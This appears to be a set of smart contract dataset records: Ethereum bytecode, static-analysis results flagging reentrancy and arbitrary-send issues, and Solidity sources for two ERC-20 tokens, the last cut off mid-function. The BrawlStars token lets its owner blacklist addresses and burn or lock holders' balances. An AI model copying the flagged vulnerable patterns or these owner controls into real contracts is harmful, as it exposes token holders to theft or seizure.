7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106bc848484611064565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106eb908490611a08565b90506106f8853383610f40565b506001949350505050565b600061070e3061087c565b905090565b6000546001600160a01b0316331461073d5760405162461bcd60e51b8152600401610646906119bd565b60005b81518110156107a55760006005600084848151811061076157610761611a1f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061079d81611a35565b915050610740565b5050565b6000546001600160a01b031633146107d35760405162461bcd60e51b8152600401610646906119bd565b6007546001600160a01b0316336001600160a01b0316146107f357600080fd5b600081116108335760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b6044820152606401610646565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b476108798161140c565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108c15760405162461bcd60e51b8152600401610646906119bd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b03161461092b57600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610864565b6000546001600160a01b031633146109a35760405162461bcd60e51b8152600401610646906119bd565b600e5460ff16156109f05760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610646565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610a55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a799190611a50565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ac6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aea9190611a50565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5b9190611a50565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b6000610613338484611064565b6000546001600160a01b03163314610bb55760405162461bcd60e51b8152600401610646906119bd565b60005b81518110156107a55760085482516001600160a01b0390911690839083908110610be457610be4611a1f565b60200260200101516001600160a01b031614158015610c35575060065482516001600160a01b0390911690839083908110610c2157610c21611a1f565b60200260200101516001600160a01b031614155b15610c9257600160056000848481518110610c5257610c52611a1f565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c9c81611a35565b915050610bb8565b6000610caf3061087c565b905061087981611446565b6000546001600160a01b03163314610ce45760405162461bcd60e51b8152600401610646906119bd565b600e5460ff1615610d315760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610646565b600654610d519030906001600160a01b0316670de0b6b3a7640000610f40565b6006546001600160a01b031663f305d7194730610d6d8161087c565b600080610d826000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610dea573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e0f9190611a6d565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8c9190611a9b565b50600e805460ff1916600117905542600d5566470de4df820000600c55565b60085460009061070e906001600160a01b031661087c565b6000546001600160a01b03163314610eed5760405162461bcd60e51b8152600401610646906119bd565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610864565b6001600160a01b038316610fa25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610646565b6001600160a01b0382166110035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610646565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561108a57600080fd5b6001600160a01b0383166110ee5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610646565b6001600160a01b0382166111505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610646565b600081116111b25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610646565b600080546001600160a01b038581169116148015906111df57506000546001600160a01b03848116911614155b156113ad576008546001600160a01b03858116911614801561120f57506006546001600160a01b03848116911614155b801561123457506001600160a01b03831660009081526004602052604090205460ff16155b156112c657600e5460ff1661128b5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610646565b42600d54607861129b9190611ab8565b11156112c257600c546112ad8461087c565b6112b79084611ab8565b11156112c257600080fd5b5060015b600e54610100900460ff161580156112e05750600e5460ff165b80156112fa57506008546001600160a01b03858116911614155b156113ad57600061130a3061087c565b9050801561139657600e5462010000900460ff161561138d57600b546008546064919061133f906001600160a01b031661087c565b6113499190611ad0565b6113539190611aef565b81111561138d57600b5460085460649190611376906001600160a01b031661087c565b6113809190611ad0565b61138a9190611aef565b90505b61139681611446565b4780156113a6576113a64761140c565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806113ef57506001600160a01b03841660009081526004602052604090205460ff165b156113f8575060005b61140585858584866115ba565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107a5573d6000803e3d6000fd5b600e805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148a5761148a611a1f565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115079190611a50565b8160018151811061151a5761151a611a1f565b6001600160a01b0392831660209182029290920101526006546115409130911684610f40565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611579908590600090869030904290600401611b11565b600060405180830381600087803b15801561159357600080fd5b505af11580156115a7573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b60006115c683836115dc565b90506115d486868684611600565b505050505050565b60008083156115f95782156115f457506009546115f9565b50600a545b9392505050565b60008061160d84846116dd565b6001600160a01b0388166000908152600260205260409020549193509150611636908590611a08565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611666908390611ab8565b6001600160a01b03861660009081526002602052604090205561168881611711565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116cd91815260200190565b60405180910390a3505050505050565b6000808060646116ed8587611ad0565b6116f79190611aef565b905060006117058287611a08565b96919550909350505050565b3060009081526002602052604090205461172c908290611ab8565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561176c57858101830151858201604001528201611750565b8181111561177e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461087957600080fd5b80356117b481611794565b919050565b600080604083850312156117cc57600080fd5b82356117d781611794565b946020939093013593505050565b600080604083850312156117f857600080fd5b50508035926020909101359150565b60008060006060848603121561181c57600080fd5b833561182781611794565b9250602084013561183781611794565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561187157600080fd5b823567ffffffffffffffff8082111561188957600080fd5b818501915085601f83011261189d57600080fd5b8135818111156118af576118af611848565b8060051b604051601f19603f830116810181811085821117156118d4576118d4611848565b6040529182528482019250838101850191888311156118f257600080fd5b938501935b8285101561191757611908856117a9565b845293850193928501926118f7565b98975050505050505050565b60006020828403121561193557600080fd5b81356115f981611794565b60006020828403121561195257600080fd5b5035919050565b801515811461087957600080fd5b60006020828403121561197957600080fd5b81356115f981611959565b6000806040838503121561199757600080fd5b82356119a281611794565b915060208301356119b281611794565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a1a57611a1a6119f2565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a4957611a496119f2565b5060010190565b600060208284031215611a6257600080fd5b81516115f981611794565b600080600060608486031215611a8257600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611aad57600080fd5b81516115f981611959565b60008219821115611acb57611acb6119f2565b500190565b6000816000190483118215151615611aea57611aea6119f2565b500290565b600082611b0c57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b615784516001600160a01b031683529383019391830191600101611b3c565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220702c69cc5ee9afd1ce23300f08bc37dd418d741b1de4ba0dee9980de88012f3164736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,711
0xefde0e5139628df14ee5e4119e668d58cbe24361
// Unattributed material copyright New Alchemy Limited, 2017. All rights reserved. pragma solidity >=0.4.10; // from Zeppelin contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { require(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; require(c>=a && c>=b); return c; } } // end from Zeppelin contract Owned { address public owner; address newOwner; function Owned() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner { newOwner = _newOwner; } function acceptOwnership() { if (msg.sender == newOwner) { owner = newOwner; } } } contract Pausable is Owned { bool public paused; function pause() onlyOwner { paused = true; } function unpause() onlyOwner { paused = false; } modifier notPaused() { require(!paused); _; } } contract Finalizable is Owned { bool public finalized; function finalize() onlyOwner { finalized = true; } modifier notFinalized() { require(!finalized); _; } } contract IToken { function transfer(address _to, uint _value) returns (bool); function balanceOf(address owner) returns(uint); } contract TokenReceivable is Owned { function claimTokens(address _token, address _to) onlyOwner returns (bool) { IToken token = IToken(_token); return token.transfer(_to, token.balanceOf(this)); } } contract EventDefinitions { event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Token is Finalizable, TokenReceivable, SafeMath, EventDefinitions, Pausable { string constant public name = "Rights Token"; uint8 constant public decimals = 8; string constant public symbol = "RTK"; Controller public controller; string public motd; event Motd(string message); // functions below this line are onlyOwner function setMotd(string _m) onlyOwner { motd = _m; Motd(_m); } function setController(address _c) onlyOwner notFinalized { controller = Controller(_c); } // functions below this line are public function balanceOf(address a) constant returns (uint) { return controller.balanceOf(a); } function totalSupply() constant returns (uint) { return controller.totalSupply(); } function allowance(address _owner, address _spender) constant returns (uint) { return controller.allowance(_owner, _spender); } function transfer(address _to, uint _value) onlyPayloadSize(2) notPaused returns (bool success) { if (controller.transfer(msg.sender, _to, _value)) { Transfer(msg.sender, _to, _value); return true; } return false; } function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3) notPaused returns (bool success) { if (controller.transferFrom(msg.sender, _from, _to, _value)) { Transfer(_from, _to, _value); return true; } return false; } function approve(address _spender, uint _value) onlyPayloadSize(2) notPaused returns (bool success) { // promote safe user behavior if (controller.approve(msg.sender, _spender, _value)) { Approval(msg.sender, _spender, _value); return true; } return false; } function increaseApproval (address _spender, uint _addedValue) onlyPayloadSize(2) notPaused returns (bool success) { if (controller.increaseApproval(msg.sender, _spender, _addedValue)) { uint newval = controller.allowance(msg.sender, _spender); Approval(msg.sender, _spender, newval); return true; } return false; } function decreaseApproval (address _spender, uint _subtractedValue) onlyPayloadSize(2) notPaused returns (bool success) { if (controller.decreaseApproval(msg.sender, _spender, _subtractedValue)) { uint newval = controller.allowance(msg.sender, _spender); Approval(msg.sender, _spender, newval); return true; } return false; } modifier onlyPayloadSize(uint numwords) { assert(msg.data.length >= numwords * 32 + 4); _; } function burn(uint _amount) notPaused { controller.burn(msg.sender, _amount); Transfer(msg.sender, 0x0, _amount); } // functions below this line are onlyController modifier onlyController() { assert(msg.sender == address(controller)); _; } function controllerTransfer(address _from, address _to, uint _value) onlyController { Transfer(_from, _to, _value); } function controllerApprove(address _owner, address _spender, uint _value) onlyController { Approval(_owner, _spender, _value); } } contract Controller is Owned, Finalizable { Ledger public ledger; Token public token; function Controller() { } // functions below this line are onlyOwner function setToken(address _token) onlyOwner { token = Token(_token); } function setLedger(address _ledger) onlyOwner { ledger = Ledger(_ledger); } modifier onlyToken() { require(msg.sender == address(token)); _; } modifier onlyLedger() { require(msg.sender == address(ledger)); _; } // public functions function totalSupply() constant returns (uint) { return ledger.totalSupply(); } function balanceOf(address _a) constant returns (uint) { return ledger.balanceOf(_a); } function allowance(address _owner, address _spender) constant returns (uint) { return ledger.allowance(_owner, _spender); } // functions below this line are onlyLedger function ledgerTransfer(address from, address to, uint val) onlyLedger { token.controllerTransfer(from, to, val); } // functions below this line are onlyToken function transfer(address _from, address _to, uint _value) onlyToken returns (bool success) { return ledger.transfer(_from, _to, _value); } function transferFrom(address _spender, address _from, address _to, uint _value) onlyToken returns (bool success) { return ledger.transferFrom(_spender, _from, _to, _value); } function approve(address _owner, address _spender, uint _value) onlyToken returns (bool success) { return ledger.approve(_owner, _spender, _value); } function increaseApproval (address _owner, address _spender, uint _addedValue) onlyToken returns (bool success) { return ledger.increaseApproval(_owner, _spender, _addedValue); } function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyToken returns (bool success) { return ledger.decreaseApproval(_owner, _spender, _subtractedValue); } function burn(address _owner, uint _amount) onlyToken { ledger.burn(_owner, _amount); } } contract Ledger is Owned, SafeMath, Finalizable, TokenReceivable { Controller public controller; mapping(address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint public totalSupply; uint public mintingNonce; bool public mintingStopped; // functions below this line are onlyOwner function Ledger() { } function setController(address _controller) onlyOwner notFinalized { controller = Controller(_controller); } function stopMinting() onlyOwner { mintingStopped = true; } function multiMint(uint nonce, uint256[] bits) external onlyOwner { require(!mintingStopped); if (nonce != mintingNonce) return; mintingNonce += 1; uint256 lomask = (1 << 96) - 1; uint created = 0; for (uint i=0; i<bits.length; i++) { address a = address(bits[i]>>96); uint value = bits[i]&lomask; balanceOf[a] = balanceOf[a] + value; controller.ledgerTransfer(0, a, value); created += value; } totalSupply += created; } // functions below this line are onlyController modifier onlyController() { require(msg.sender == address(controller)); _; } function transfer(address _from, address _to, uint _value) onlyController returns (bool success) { if (balanceOf[_from] < _value) return false; balanceOf[_from] = safeSub(balanceOf[_from], _value); balanceOf[_to] = safeAdd(balanceOf[_to], _value); return true; } function transferFrom(address _spender, address _from, address _to, uint _value) onlyController returns (bool success) { if (balanceOf[_from] < _value) return false; var allowed = allowance[_from][_spender]; if (allowed < _value) return false; balanceOf[_to] = safeAdd(balanceOf[_to], _value); balanceOf[_from] = safeSub(balanceOf[_from], _value); allowance[_from][_spender] = safeSub(allowed, _value); return true; } function approve(address _owner, address _spender, uint _value) onlyController returns (bool success) { // require user to set to zero before resetting to nonzero if ((_value != 0) && (allowance[_owner][_spender] != 0)) { return false; } allowance[_owner][_spender] = _value; return true; } function increaseApproval (address _owner, address _spender, uint _addedValue) onlyController returns (bool success) { uint oldValue = allowance[_owner][_spender]; allowance[_owner][_spender] = safeAdd(oldValue, _addedValue); return true; } function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyController returns (bool success) { uint oldValue = allowance[_owner][_spender]; if (_subtractedValue > oldValue) { allowance[_owner][_spender] = 0; } else { allowance[_owner][_spender] = safeSub(oldValue, _subtractedValue); } return true; } function burn(address _owner, uint _amount) onlyController { balanceOf[_owner] = safeSub(balanceOf[_owner], _amount); totalSupply = safeSub(totalSupply, _amount); } }
0x6060604052600436106101035763ffffffff60e060020a60003504166315dacbea811461010857806318160ddd1461014a5780633e3e0b121461016f5780634bb278f31461018457806369ffa08a1461019757806370a08231146101bc57806379ba5097146101db57806388df13fa146101ee5780638da5cb5b1461021057806392eefe9b1461023f5780639dc29fac1461025e578063a6f9dae114610280578063b3f05b971461029f578063bcdd6121146102b2578063beabacc8146102da578063dd62ed3e14610302578063e1f21c6714610327578063f019c2671461034f578063f339292f14610377578063f77c47911461038a578063fbb0eb8b1461039d575b600080fd5b341561011357600080fd5b610136600160a060020a03600435811690602435811690604435166064356103b0565b604051901515815260200160405180910390f35b341561015557600080fd5b61015d6104db565b60405190815260200160405180910390f35b341561017a57600080fd5b6101826104e1565b005b341561018f57600080fd5b61018261050b565b34156101a257600080fd5b610136600160a060020a036004358116906024351661055d565b34156101c757600080fd5b61015d600160a060020a036004351661064a565b34156101e657600080fd5b61018261065c565b34156101f957600080fd5b6101826004803590602480359081019101356106a5565b341561021b57600080fd5b610223610800565b604051600160a060020a03909116815260200160405180910390f35b341561024a57600080fd5b610182600160a060020a036004351661080f565b341561026957600080fd5b610182600160a060020a0360043516602435610881565b341561028b57600080fd5b610182600160a060020a03600435166108ec565b34156102aa57600080fd5b610136610936565b34156102bd57600080fd5b610136600160a060020a0360043581169060243516604435610957565b34156102e557600080fd5b610136600160a060020a03600435811690602435166044356109da565b341561030d57600080fd5b61015d600160a060020a0360043581169060243516610a97565b341561033257600080fd5b610136600160a060020a0360043581169060243516604435610ab4565b341561035a57600080fd5b610136600160a060020a0360043581169060243516604435610b42565b341561038257600080fd5b610136610bd3565b341561039557600080fd5b610223610bdc565b34156103a857600080fd5b61015d610beb565b600254600090819033600160a060020a039081169116146103d057600080fd5b600160a060020a038516600090815260036020526040902054839010156103fa57600091506104d2565b50600160a060020a038085166000908152600460209081526040808320938916835292905220548281101561043257600091506104d2565b600160a060020a0384166000908152600360205260409020546104559084610bf1565b600160a060020a0380861660009081526003602052604080822093909355908716815220546104849084610c11565b600160a060020a0386166000908152600360205260409020556104a78184610c11565b600160a060020a038087166000908152600460209081526040808320938b1683529290522055600191505b50949350505050565b60055481565b60005433600160a060020a039081169116146104fc57600080fd5b6007805460ff19166001179055565b60005433600160a060020a0390811691161461052657600080fd5b6001805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b60008054819033600160a060020a0390811691161461057b57600080fd5b5082600160a060020a03811663a9059cbb84826370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156105d257600080fd5b5af115156105df57600080fd5b5050506040518051905060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561062c57600080fd5b5af1151561063957600080fd5b505050604051805195945050505050565b60036020526000908152604090205481565b60015433600160a060020a03908116911614156106a3576001546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b565b60008054819081908190819033600160a060020a039081169116146106c957600080fd5b60075460ff16156106d957600080fd5b60065488146106e7576107f6565b6006805460010190556bffffffffffffffffffffffff9450600093508392505b858310156107ed57606087878581811061071d57fe5b905060200201359060020a9004915084878785818110151561073b57fe5b600160a060020a038681166000908152600360209081526040808320805495909202969096013596909616928301909555600254919550169263f5c86d2a92909150859085905160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401600060405180830381600087803b15156107ce57600080fd5b5af115156107db57600080fd5b50505092830192600190920191610707565b60058054850190555b5050505050505050565b600054600160a060020a031681565b60005433600160a060020a0390811691161461082a57600080fd5b60015474010000000000000000000000000000000000000000900460ff161561085257600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60025433600160a060020a0390811691161461089c57600080fd5b600160a060020a0382166000908152600360205260409020546108bf9082610c11565b600160a060020a0383166000908152600360205260409020556005546108e59082610c11565b6005555050565b60005433600160a060020a0390811691161461090757600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60015474010000000000000000000000000000000000000000900460ff1681565b600254600090819033600160a060020a0390811691161461097757600080fd5b50600160a060020a038085166000908152600460209081526040808320938716835292905220546109a88184610bf1565b600160a060020a0380871660009081526004602090815260408083209389168352929052205560019150509392505050565b60025460009033600160a060020a039081169116146109f857600080fd5b600160a060020a03841660009081526003602052604090205482901015610a2157506000610a90565b600160a060020a038416600090815260036020526040902054610a449083610c11565b600160a060020a038086166000908152600360205260408082209390935590851681522054610a739083610bf1565b600160a060020a0384166000908152600360205260409020555060015b9392505050565b600460209081526000928352604080842090915290825290205481565b60025460009033600160a060020a03908116911614610ad257600080fd5b8115801590610b055750600160a060020a0380851660009081526004602090815260408083209387168352929052205415155b15610b1257506000610a90565b50600160a060020a0392831660009081526004602090815260408083209490951682529290925291902055600190565b600254600090819033600160a060020a03908116911614610b6257600080fd5b50600160a060020a0380851660009081526004602090815260408083209387168352929052205480831115610bbe57600160a060020a038086166000908152600460209081526040808320938816835292905290812055610bc8565b6109a88184610c11565b506001949350505050565b60075460ff1681565b600254600160a060020a031681565b60065481565b6000828201838110801590610c065750828110155b1515610a9057600080fd5b600082821115610c2057600080fd5b509003905600a165627a7a7230582089afca7cb34e78a9d318b965018b37cfc2aa1801cada84940b126fc43c7867570029
{"success": true, "error": null, "results": {}}
6,712
0xc1ccea3b6d9738bce8d853aed9e8654c6b4af5f7
/** // BrawlStars.com // BRAWLS // */ // SPDX-License-Identifier: none pragma solidity >=0.5.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BrawlStars is Context, IERC20 { using SafeMath for uint256; using Address for address; struct lockDetail{ uint256 amountToken; uint256 lockUntil; } mapping (address => uint256) private _balances; mapping (address => bool) private _blacklist; mapping (address => bool) private _isAdmin; mapping (address => lockDetail) private _lockInfo; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event PutToBlacklist(address indexed target, bool indexed status); event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil); constructor (string memory name, string memory symbol, uint256 amount) { _name = name; _symbol = symbol; _setupDecimals(18); address msgSender = _msgSender(); _owner = msgSender; _isAdmin[msgSender] = true; _mint(msgSender, amount); emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function isAdmin(address account) public view returns (bool) { return _isAdmin[account]; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyAdmin() { require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function promoteAdmin(address newAdmin) public virtual onlyOwner { require(_isAdmin[newAdmin] == false, "Ownable: address is already admin"); require(newAdmin != address(0), "Ownable: new admin is the zero address"); _isAdmin[newAdmin] = true; } function demoteAdmin(address oldAdmin) public virtual onlyOwner { require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin"); require(oldAdmin != address(0), "Ownable: old admin is the zero address"); _isAdmin[oldAdmin] = false; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function isBlackList(address account) public view returns (bool) { return _blacklist[account]; } function getLockInfo(address account) public view returns (uint256, uint256) { lockDetail storage sys = _lockInfo[account]; if(block.timestamp > sys.lockUntil){ return (0,0); }else{ return ( sys.amountToken, sys.lockUntil ); } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address funder, address spender) public view virtual override returns (uint256) { return _allowances[funder][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) { _transfer(_msgSender(), recipient, amount); _wantLock(recipient, amount, lockUntil); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){ _wantLock(targetaddress, amount, lockUntil); return true; } function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){ _wantUnlock(targetaddress); return true; } function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){ _burn(targetaddress, amount); return true; } function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantblacklist(targetaddress); return true; } function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantunblacklist(targetaddress); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { lockDetail storage sys = _lockInfo[sender]; require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_blacklist[sender] == false, "ERC20: sender address blacklisted"); _beforeTokenTransfer(sender, recipient, amount); if(sys.amountToken > 0){ if(block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); 